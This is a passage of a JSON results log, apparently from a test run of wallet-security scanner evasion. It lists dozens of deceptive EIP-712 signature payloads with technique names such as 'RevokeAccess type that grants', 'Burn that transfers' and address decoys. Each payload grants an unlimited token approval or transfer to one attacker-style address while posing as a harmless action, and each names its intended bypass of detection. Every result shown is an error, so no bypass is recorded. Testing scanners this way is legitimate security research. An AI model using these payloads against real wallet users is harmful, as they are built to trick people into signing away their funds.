"{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T17:41:04.536Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T17:41:14.090Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T17:41:23.625Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T17:41:33.169Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T17:41:42.703Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T17:41:52.252Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T17:42:01.786Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T17:42:11.348Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T17:42:20.896Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T17:42:30.432Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN33-EIP3009-022", "timestamp": "2026-01-31T17:42:39.990Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x337cd00415f8cc6f3f8f2483093eed369e5cea81fbedc21c44552fe90a135746\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN33-EIP3009-054", "timestamp": "2026-01-31T17:42:49.550Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xcc55b9c6b071579f5e3ee57478e8d050e4c9699a98a7073e05cdfe194bc351a8\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T17:42:59.101Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T17:43:08.652Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T17:43:18.203Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T17:43:27.750Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T17:43:37.305Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T17:43:46.855Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T17:43:56.405Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My 